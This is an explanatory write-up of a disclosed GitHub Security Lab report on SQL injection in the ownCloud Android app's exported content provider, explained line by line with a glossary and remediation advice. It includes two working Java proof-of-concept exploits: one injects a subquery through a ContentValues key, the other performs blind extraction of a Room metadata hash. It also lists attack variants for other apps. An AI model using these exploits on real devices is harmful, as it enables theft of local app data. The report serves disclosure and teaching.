The report was filed as GHSL-2022-059 (with a companion GHSL-2022-060 reference used in correspondence) by the GitHub Security Lab, and the finding was credited to @atorralba (Tony Torralba), a member of the CodeQL team. The platform records it as a medium severity SQL injection with a CVSS score of 4.2, a 300 USD bounty, and public disclosure on 2023-04-12.

Setup

No accounts, credentials or special tooling are needed to reproduce the issue. The precondition is simply that a malicious application is installed on the same device as the ownCloud app. The proof-of-concept code is ordinary Android Java: it obtains a ContentResolver from a Context and talks to the provider through content URIs. The authority used in the PoCs is org.owncloud, and the paths used are file and shares.

A ContentResolver is the Android object an app uses to talk to any content provider; you get one from a Context, which is the app's handle on its environment. The authority is the unique name that identifies the provider, and the path after it selects which kind of record you want. So content://org.owncloud/file means "the file records of the provider named org.owncloud".

The code references in the report point at commit [redacted] of the owncloud/android repository. A commit is a saved snapshot of a code project, identified by a long fingerprint, so anyone can look at exactly the code the researchers saw.

Finding it

The starting point is the manifest declaration of the provider, at AndroidManifest.xml:153:

XML
<provider
    android:name=".providers.FileContentProvider"
    android:authorities="@string/authority"
    android:enabled="true"
    android:exported="true"
    android:label="@string/sync_string_files"
    android:syncable="true" />

Line by line:

  • <provider ... /> declares a content provider to the Android system.
  • android:name=".providers.FileContentProvider" names the code class that implements it.
  • android:authorities="@string/authority" sets the provider's unique address name; the value is pulled from a string resource, which is why the PoCs use org.owncloud.
  • android:enabled="true" means the provider is switched on.
  • android:exported="true" is the crucial line: it means other apps on the phone may use this provider.
  • android:label is the human-readable name shown in the system.
  • android:syncable="true" tells Android the provider holds data meant to be synchronised with a server.

Because android:exported is true, every table behind this provider can be freely interacted with by other apps on the same device. The researcher then reviewed the entry points of the content provider for those tables and found that several parameters carrying user input end up in unsafe SQL methods, which allows SQL injection.

Exploitation

The report walks through each of the four overridden methods and marks the injection points in the code. The PoCs then chain them.

Step 1: the delete method

User input enters through the three parameters of the public method at FileContentProvider.kt:85:

KT
override fun delete(uri: Uri, where: String?, whereArgs: Array<String>?): Int {

This is the method Android calls when another app asks to delete records. uri says which records; where is a text condition saying which rows to match; whereArgs is an array of values meant to fill placeholders in that condition. The ? after a type means the value may be null (absent).

The where parameter reaches the following dangerous arguments without sanitisation (FileContentProvider.kt:102):

KT
private fun delete(db: SQLiteDatabase, uri: Uri, where: String?, whereArgs: Array<String>?): Int {
    // --snip--
    when (uriMatcher.match(uri)) {
        SINGLE_FILE -> {
            // --snip--
            count = db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID +
                        "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        DIRECTORY -> {
            // --snip--
            count += db.delete(
                ProviderTableMeta.FILE_TABLE_NAME,
                ProviderTableMeta._ID + "=" +
                        uri.pathSegments[1] +
                        if (!TextUtils.isEmpty(where))
                            " AND ($where)" // injection
                        else
                            "", whereArgs
            )
        }
        ROOT_DIRECTORY ->
            count = db.delete(ProviderTableMeta.FILE_TABLE_NAME, where, whereArgs) // injection
        SHARES -> count =
            OwncloudDatabase.getDatabase(MainApp.appContext).shareDao().deleteShare(uri.pathSegments[1])
        CAPABILITIES -> count = db.delete(ProviderTableMeta.CAPABILITIES_TABLE_NAME, where, whereArgs) // injection
        UPLOADS -> count = db.delete(ProviderTableMeta.UPLOADS_TABLE_NAME, where, whereArgs) // injection
        CAMERA_UPLOADS_SYNC -> count = db.delete(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, where, whereArgs) // injection
        QUOTAS -> count = db.delete(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, where, whereArgs) // injection
        // --snip--
    }
    // --snip--
}

Line by line:

  • private fun delete(...) is the internal helper that does the real work; db is the open database.
  • when (uriMatcher.match(uri)) is a switch: it looks at the URI and decides which table the request is about. uriMatcher is a small lookup table that maps URI shapes to labels such as SINGLE_FILE.
  • In the SINGLE_FILE branch, db.delete(table, condition, args) asks SQLite to delete rows. The condition is built by gluing together the column name _ID, an =, the ID taken from the URI (uri.pathSegments[1], the second piece of the address), and, if the caller supplied a where, the text " AND ($where)". That last part is the injection: the caller's text becomes part of the SQL condition.
  • The DIRECTORY branch does the same with count += so it adds to the running total.
  • In ROOT_DIRECTORY, CAPABILITIES, UPLOADS, CAMERA_UPLOADS_SYNC and QUOTAS, the caller's where is handed straight to db.delete as the condition, with no wrapping at all. Each is marked // injection.
  • The SHARES branch goes through the Room DAO instead (Room is a helper library that generates safer database code) and is not marked as an injection point.

Why this matters: the caller's where text becomes part of the SQL condition, so the caller controls part of the instruction the database runs.

Step 2: the insert method

User input enters through the two parameters of the public method at FileContentProvider.kt:183:

KT
override fun insert(uri: Uri, values: ContentValues?): Uri? {

This is the method Android calls when another app wants to add a record. values is a ContentValues object: a bag of column-name and value pairs, like a filled-in form where each field label is a column name.

The values parameter reaches the following dangerous arguments without sanitisation (FileContentProvider.kt:197):

KT
 private fun insert(db: SQLiteDatabase, uri: Uri, values: ContentValues?): Uri {
    when (uriMatcher.match(uri)) {
        ROOT_DIRECTORY, SINGLE_FILE -> {
            // --snip--
            return if (!doubleCheck.moveToFirst()) {
                // --snip--
                val fileId = db.insert(ProviderTableMeta.FILE_TABLE_NAME, null, values) // injection
                // --snip--
            }
            // --snip--
        }
        // --snip--

        CAPABILITIES -> {
            val capabilityId = db.insert(ProviderTableMeta.CAPABILITIES_TABLE_NAME, null, values) // injection
            // --snip--
        }

        UPLOADS -> {
            val uploadId = db.insert(ProviderTableMeta.UPLOADS_TABLE_NAME, null, values) // injection
            // --snip--
        }

        CAMERA_UPLOADS_SYNC -> {
            val cameraUploadId = db.insert(
                ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        QUOTAS -> {
            val quotaId = db.insert(
                ProviderTableMeta.USER_QUOTAS_TABLE_NAME, null,
                values // injection
            )
            // --snip--
        }
        // --snip--
    }
}

Line by line:

  • The when again picks a branch based on the URI.
  • ROOT_DIRECTORY, SINGLE_FILE share one branch. doubleCheck.moveToFirst() runs a check query and returns true if a matching row already exists; the insert only happens when no row was found.
  • db.insert(table, null, values) adds a row. The middle null is a special argument that is not used here.
  • The other branches (CAPABILITIES, UPLOADS, CAMERA_UPLOADS_SYNC, QUOTAS) do the same against their own tables.

Here the injection is in the ContentValues object itself. The remediation section makes the reason explicit: the keys in ContentValues objects are used as column names in insert and update calls, so they are part of the SQL statement text. In other words, the labels on the form become part of the instruction, so a malicious label can smuggle in extra SQL.

Step 3: the query method

User input enters through the five parameters of the public method at FileContentProvider.kt:304:

KT
override fun query(
    uri: Uri,
    projection: Array<String>?,
    selection: String?,
    selectionArgs: Array<String>?,
    sortOrder: String?
): Cursor {

This is the method Android calls when another app wants to read records. projection lists which columns to return; selection is the condition; selectionArgs fills placeholders in it; sortOrder says how to sort. The return value is a Cursor, which is Android's way of handing back a result set you can step through row by row.

The selection and sortOrder parameters reach the following dangerous arguments without sanitisation. The report notes that projection is safe because of the use of a projection map (FileContentProvider.kt:337):

KT
SHARES -> {
    val supportSqlQuery = SupportSQLiteQueryBuilder
        .builder(ProviderTableMeta.OCSHARES_TABLE_NAME)
        .columns(computeProjection(projection))
        .selection(selection, selectionArgs) // injection
        .orderBy(
            if (TextUtils.isEmpty(sortOrder)) {
                sortOrder // injection
            } else {
                ProviderTableMeta.OCSHARES_DEFAULT_SORT_ORDER
            }
        ).create()

    // To use full SQL queries within Room
    val newDb: SupportSQLiteDatabase =
        OwncloudDatabase.getDatabase(MainApp.appContext).openHelper.writableDatabase
    return newDb.query(supportSqlQuery)
}

Line by line:

  • SupportSQLiteQueryBuilder.builder(...) starts building a query for the shares table. A builder is a helper that assembles a query piece by piece.
  • .columns(computeProjection(projection)) translates the caller's requested columns through a fixed map, which is why projection is safe: only known column names come out.
  • .selection(selection, selectionArgs) passes the caller's condition and arguments into the builder. The condition text is still caller-controlled, so this is an injection point.
  • .orderBy(...) is meant to sort the results. The logic here is inverted: when sortOrder is empty it uses the empty sortOrder, and otherwise it uses the default sort order. Either way the caller's sortOrder text can end up in the query, marked as an injection point.
  • .create() produces the finished query object.
  • OwncloudDatabase.getDatabase(...).openHelper.writableDatabase gets a writable handle to the database from the Room helper.
  • newDb.query(supportSqlQuery) runs it.

And at FileContentProvider.kt:402:

KT
val c = sqlQuery.query(db, projection, selection, selectionArgs, null, null, order)

This single line hands the caller's selection and selectionArgs straight to SQLiteQuery.query, with null for the grouping and having clauses and order for the sort. Again the condition text is not separated from the instruction.

The SHARES branch builds a SupportSQLiteQuery through SupportSQLiteQueryBuilder, passing selection and sortOrder into it, and executes it against the writable database obtained from the Room open helper. The second snippet shows the selection being handed to SQLiteQuery.query directly.

Step 4: the update method

User input enters through the four parameters of the public method at FileContentProvider.kt:458:

KT
override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int {

This is the method Android calls when another app wants to change existing records. values holds the new column values; selection and selectionArgs say which rows to change.

The values and selection parameters reach the following dangerous arguments without sanitisation (FileContentProvider.kt:458):

KT
private fun update(
        db: SQLiteDatabase,
        uri: Uri,
        values: ContentValues?,
        selection: String?,
        selectionArgs: Array<String>?
): Int {
    if (selection != null && selectionArgs == null) {
        throw IllegalArgumentException("Selection not allowed, use parameterized queries")
    }
    when (uriMatcher.match(uri)) {
        DIRECTORY -> return 0 //updateFolderSize(db, selectionArgs[0]);
        SHARES -> return values?.let {
            OwncloudDatabase.getDatabase(context!!).shareDao()
                .update(OCShareEntity.fromContentValues(it)).toInt()
        } ?: 0
        CAPABILITIES -> return db.update(ProviderTableMeta.CAPABILITIES_TABLE_NAME, values, selection, selectionArgs) // injection
        UPLOADS -> {
            val ret = db.update(ProviderTableMeta.UPLOADS_TABLE_NAME, values, selection, selectionArgs) // injection
            trimSuccessfulUploads(db)
            return ret
        }
        CAMERA_UPLOADS_SYNC -> return db.update(ProviderTableMeta.CAMERA_UPLOADS_SYNC_TABLE_NAME, values, selection, selectionArgs) // injection
        QUOTAS -> return db.update(ProviderTableMeta.USER_QUOTAS_TABLE_NAME, values, selection, selectionArgs) // injection
        else -> return db.update(
            ProviderTableMeta.FILE_TABLE_NAME, values, selection, selectionArgs // injection
        )
    }
}

Line by line:

  • The if (selection != null && selectionArgs == null) guard throws an error when a condition is given without its argument array. The error message even says "use parameterized queries".
  • DIRECTORY simply returns 0; the real work is commented out.
  • SHARES goes through the Room DAO and is not marked as an injection point.
  • CAPABILITIES, UPLOADS, CAMERA_UPLOADS_SYNC, QUOTAS and the else branch (which defaults to the file table) all call db.update(table, values, selection, selectionArgs), marked as injection points.

There is a guard at the top: if selection is non-null and selectionArgs is null, the method throws IllegalArgumentException("Selection not allowed, use parameterized queries"). That guard does not prevent injection, because a caller can simply supply a non-null selectionArgs array alongside a malicious selection, and the values keys remain injectable regardless. The SHARES branch goes through the Room DAO and is not marked as an injection point.

Step 5: extracting data from filelist

The first PoC is a malicious application with no special permissions that extracts information from any table in the filelist database:

Java
package com.example.test;

import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String exploit(Context ctx, String columnName, String tableName) throws Exception {
        Uri result = ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile());
        ContentValues updateValues = new ContentValues();
        updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " +
                "FROM " + tableName + ") " +
                "WHERE _id=" + result.getLastPathSegment() + "-- -", "a");
        Log.e("test", "" + ctx.getContentResolver().update(
                result, updateValues, null, null));
        String query = query(ctx, new String[]{"path"},
                "_id=?", new String[]{result.getLastPathSegment()});
        deleteFile(ctx, result.getLastPathSegment());
        return query;
    }

    public static String query(Context ctx, String[] projection, String selection, String[] selectionArgs) throws Exception {
        try (Cursor mCursor = ctx.getContentResolver().query(Uri.parse("content://org.owncloud/file"),
                projection,
                selection,
                selectionArgs,
                null)) {
            if (mCursor == null) {
                Log.e("evil", "mCursor is null");
                return "0";
            }
            StringBuilder output = new StringBuilder();
            while (mCursor.moveToNext()) {
                for (int i = 0; i < mCursor.getColumnCount(); i++) {
                    String column = mCursor.getColumnName(i);
                    String value = mCursor.getString(i);
                    output.append("|").append(column).append(":").append(value);
                }
                output.append("\n");
            }
            return output.toString();
        }
    }

    private static ContentValues newOwncloudFile() throws Exception {
        ContentValues values = new ContentValues();
        values.put("parent", "a");
        values.put("filename", "a");
        values.put("created", "a");
        values.put("modified", "a");
        values.put("modified_at_last_sync_for_data", "a");
        values.put("content_length", "a");
        values.put("content_type", "a");
        values.put("media_path", "a");
        values.put("path", "a");
        values.put("file_owner", "a");
        values.put("last_sync_date", "a");
        values.put("last_sync_date_for_data", "a");
        values.put("etag", "a");
        values.put("share_by_link", "a");
        values.put("shared_via_users", "a");
        values.put("permissions", "a");
        values.put("remote_id", "a");
        values.put("update_thumbnail", "a");
        values.put("is_downloading", "a");
        values.put("etag_in_conflict", "a");
        return values;
    }

    public static String deleteFile(Context ctx, String id) throws Exception {
        ctx.getContentResolver().delete(
                Uri.parse("content://org.owncloud/file/" + id),
                null,
                null
        );
        return "1";
    }
}

Line by line, starting with the exploit method:

  • ctx.getContentResolver().insert(Uri.parse("content://org.owncloud/file"), newOwncloudFile()) adds a new file record through the provider and returns its URI. newOwncloudFile() builds the ContentValues form with every file column set to the harmless value "a".
  • ContentValues updateValues = new ContentValues(); starts a second form for the update.
  • updateValues.put("etag=?,path=(SELECT GROUP_CONCAT(" + columnName + ",'\n') " + "FROM " + tableName + ") " + "WHERE _id=" + result.getLastPathSegment() + "-- -", "a"); is the heart of the attack. The key of the form entry is not a plain column name; it is a crafted SQL fragment. GROUP_CONCAT is an SQL function that joins many values into one string. result.getLastPathSegment() is the ID of the row just created. -- - is an SQL comment: everything after it is ignored, which neatly discards the rest of the instruction the app would have generated. The value "a" fills the etag=? placeholder.
  • ctx.getContentResolver().update(result, updateValues, null, null) sends that form to the provider's update method, which glues the key into its SQL and runs it. The subquery runs and its result is stored in the path column of the new row.
  • query(ctx, new String[]{"path"}, "_id=?", new String[]{result.getLastPathSegment()}) reads back the path column of that row, which now holds the stolen data.
  • deleteFile(ctx, result.getLastPathSegment()) removes the row so nothing is left behind.
  • return query; hands the stolen text back to the caller.

The query helper:

  • ctx.getContentResolver().query(...) asks the provider for rows, with the given columns, condition and arguments.
  • if (mCursor == null) handles the case where nothing came back.
  • while (mCursor.moveToNext()) steps through each result row.
  • The inner for loop walks each column, reads its name and value, and appends them to a StringBuilder in the form |column:value.
  • output.append("\n") ends each row with a newline, and output.toString() returns the whole text.

The newOwncloudFile helper simply fills every file column with "a" so the insert succeeds without needing real data.

The deleteFile helper calls the provider's delete on content://org.owncloud/file/<id> with no condition, removing that one row.

The exploit function takes a columnName and a tableName and performs four actions:

  1. Create a new file entry in FileContentProvider by inserting a ContentValues object populated with the file columns set to "a".
  2. Exploit the SQL injection in the update method to set the path of the recently created file to the values of columnName in the table tableName. The injection lives in the ContentValues key: etag=?,path=(SELECT GROUP_CONCAT(...) FROM ...) WHERE _id=<id>-- -. The key is used as a column name, so the subquery is evaluated as part of the update statement, and the trailing -- - comments out the rest of the generated SQL. The value "a" fills the etag=? placeholder.
  3. Query the path of the modified file entry to obtain the desired values, using _id=? with the row ID as the selection argument.
  4. Delete the file entry.

For instance, exploit(context, "name", "SQLITE_MASTER WHERE type="table") would return all the tables in the filelist database. SQLITE_MASTER is SQLite's built-in catalogue of everything in the database, so asking for its name column lists the tables.

Step 6: blind extraction from owncloud_database

The second PoC targets the owncloud_database database with a blind SQL injection technique:

Java
package com.example.test;

import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.util.Log;

public class OwncloudProviderExploit {

    public static String blindExploit(Context ctx) {
        String output = "";
        String chars = "[redacted]";
        while (true) {
            int outputLength = output.length();
            for (int i = 0; i < chars.length(); i++) {
                char candidate = chars.charAt(i);
                String attempt = String.format("%s%c%s", output, candidate, "%");
                try (Cursor mCursor = ctx.getContentResolver().query(
                        Uri.parse("content://org.owncloud/shares"),
                        null,
                        "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'",
                        new String[]{"a"}, null)) {
                    if (mCursor == null) {
                        Log.e("ProviderHelper", "mCursor is null");
                        return "0";
                    }
                    if (mCursor.getCount() > 0) {
                        output += candidate;
                        Log.i("evil", output);
                        break;
                    }
                }
            }
            if (output.length() == outputLength)
                break;
        }
        return output;
    }

}

Line by line:

  • String output = ""; starts with an empty known prefix of the secret.
  • String chars = "[redacted]"; is the set of characters to try. (Note the missing n; that is how the report's code reads.)
  • while (true) keeps going until a full pass over the characters adds nothing.
  • int outputLength = output.length(); remembers how long the prefix was before this pass.
  • The for loop tries each candidate character.
  • String attempt = String.format("%s%c%s", output, candidate, "%"); builds the guess: the known prefix, the candidate, then %, which in SQL LIKE means "anything after this".
  • ctx.getContentResolver().query(Uri.parse("content://org.owncloud/shares"), null, "'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '" + attempt + "'", new String[]{"a"}, null) sends the condition to the shares provider. The condition glues the guess into SQL. 'a'=? is a harmless true comparison whose placeholder is filled by "a", and the second half asks whether the identity_hash value in room_master_table starts with the guess.
  • if (mCursor == null) handles a null result.
  • if (mCursor.getCount() > 0) is the yes/no answer: if any row came back, the guess matched. Then the candidate is added to output and the inner loop breaks to move on to the next character.
  • if (output.length() == outputLength) break; stops when a whole pass found nothing new, meaning the secret has been fully recovered.
  • return output; returns the recovered text.

The function queries content://org.owncloud/shares with a selection that is built by string concatenation: 'a'=? AND (SELECT identity_hash FROM room_master_table) LIKE '<attempt>', with selectionArgs set to {"a"}. It iterates over a candidate character set, extending the known prefix one character at a time, and uses mCursor.getCount() > 0 as the oracle: a non-empty result means the guessed prefix matched. The loop stops when a full pass adds no new character. This is needed because strictMode is enabled in the query method, so the attacker cannot read the value directly and has to infer it. strictMode is enabled in the query method, which is why the attacker has to use the slower yes/no approach.

Root cause

The provider is exported and requires no permissions, so any app on the device can call it. Inside the provider, caller-supplied strings are concatenated into SQL text or passed as raw selection and sort order arguments to SQLiteDatabase methods, instead of being bound as parameters. The same applies to the keys of ContentValues objects, which become column names in insert and update statements. The one defensive check present, the IllegalArgumentException in update when selection is non-null and selectionArgs is null, is trivially bypassed by supplying a selectionArgs array, and it does nothing about the injectable values keys. The projection parameter is safe because it goes through a projection map.

Impact

Two databases are affected: filelist and owncloud_database.

For filelist, the injections in insert and update let an attacker insert a crafted row in any table of the database containing data queried from other tables, then query the crafted row to obtain the information. However, all tables in filelist are already legitimately exposed through the content provider itself, so the injections cannot be used to obtain any extra data today. The risk is forward-looking: if new tables were added in the future that were not accessible through the content provider, those could be accessed using these vulnerabilities.

For owncloud_database, two tables are not accessible through the content provider: room_master_table and folder_backup. The injection in the query method can exfiltrate data from those. Because strictMode is enabled in the query method, the attacker has to use a blind SQL injection attack to succeed.

In both cases the impact is information disclosure. The report also points out that the tables exposed in the content provider, which is most of them, are arbitrarily modifiable by third party apps without exploiting any vulnerability at all, since FileContentProvider is exported and does not require any permissions.

Fix

The report offers remediation guidance rather than describing a patch. It points to the Android documentation on content provider injection and states the general rule: any user input, including the parameters of the exposed methods of the ContentProvider interface, should be considered potentially malicious and must be validated and/or sanitised before being used in SQL statements or calls. This includes the keys in ContentValues objects, since those are used as column names in insert and update calls. It also recommends setting the provider's exported attribute to false if the content provider does not need to be exported, so other applications cannot access it.

Variants to test

  • Enumerate exported providers in a target app's manifest and call each of query, insert, update and delete with crafted selection, sortOrder and ContentValues keys. A positive result is a SQL error, a changed row count, or data from a table you did not address appearing in a result.
  • Try the update guard bypass pattern: pass a non-null selectionArgs array together with a malicious selection. A positive result is that the call succeeds instead of throwing.
  • Inject through ContentValues keys rather than values, using a subquery in the key and a trailing comment. A positive result is the subquery's output stored in a readable column.
  • Use a boolean oracle on a provider whose query path is otherwise restricted, as in the blind PoC. A positive result is a stable difference in cursor count between true and false guesses.
  • Check whether tables exist that the provider does not expose, such as Room metadata tables. A positive result is being able to infer their contents through injection even though no URI maps to them.

Hunting notes

This class of bug hides in Android apps that expose content providers for sync, file management or local caching, and in any provider declared with android:exported="true" in the manifest. The manifest is the first thing to read: an exported provider with no permission requirement is the precondition for everything else. From there, follow each overridden method to the SQLite calls and look for string concatenation of selection, sortOrder or where, and for ContentValues keys that are not validated. A guard that rejects a null selectionArgs is a signal worth testing rather than a barrier, since supplying the array is trivial. The report established impact by showing extraction from tables that the provider does not otherwise expose (room_master_table and folder_backup), which is what turns a theoretical injection into a demonstrable information disclosure; the same reasoning applies when scoping a similar finding, since injections that only reach already-exposed tables are weaker.

Glossary

  • Android app: a program installed on an Android phone, normally running in its own sandbox.
  • API: a defined set of operations one piece of software offers to another; here, the four content provider methods.
  • Authority: the unique name that identifies a content provider, such as org.owncloud.
  • Blind SQL injection: an injection where you cannot see the stolen data directly and instead ask yes/no questions to rebuild it character by character.
  • Commit: a saved snapshot of a code project, identified by a long fingerprint.
  • Content provider: Android's standard mechanism for one app to share structured data with other apps.
  • ContentResolver: the Android object an app uses to talk to content providers.
  • ContentValues: a bag of column-name and value pairs used to add or change records; its keys become column names in SQL.
  • Context: an app's handle on its environment, from which a ContentResolver is obtained.
  • Cursor: Android's result set object, which you step through row by row.
  • CVSS: a standard 0 to 10 score for the seriousness of a vulnerability.
  • DAO: data access object, a helper class that wraps database calls; Room generates these.
  • Exported provider: a provider marked in the manifest as usable by other apps.
  • GROUP_CONCAT: an SQL function that joins many values into one string.
  • Injection point: a place in code where untrusted text becomes part of an instruction.
  • LIKE: an SQL operator for pattern matching, where % means "anything after this".
  • Manifest: the configuration file that describes an Android app, including its providers.
  • Oracle: in blind injection, the observable yes/no signal used to test guesses.
  • Parameterised query: a query where the instruction and the data travel separately, so data cannot be mistaken for commands.
  • Path segment: one piece of a URI address, such as the ID after file/.
  • Projection: the list of columns a query should return.
  • Projection map: a fixed lookup that translates requested column names into known safe ones.
  • Room: an Android helper library that generates safer database code.
  • Selection: the condition that says which rows a query, update or delete should match.
  • selectionArgs: the array of values that fill ? placeholders in a selection.
  • sortOrder: the instruction for how to sort query results.
  • SQL: the language used to talk to relational databases.
  • SQL injection: a vulnerability where untrusted text is glued into an SQL instruction and changes what it does.
  • SQLite: the small file-based database engine used by Android apps.
  • SQLITE_MASTER: SQLite's built-in catalogue listing everything in a database.
  • strictMode: a database setting that rejects some unusual queries, forcing attackers to use blind techniques.
  • Subquery: a query nested inside another query.
  • Table: a named set of rows and columns in a database.
  • Token: a short piece of text used as a credential; not used in this report.
  • Vulnerability: a weakness in software that can be misused to break its intended behaviour.

More by atorralba

View all

1 more disclosed report, best first.

More from ownCloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.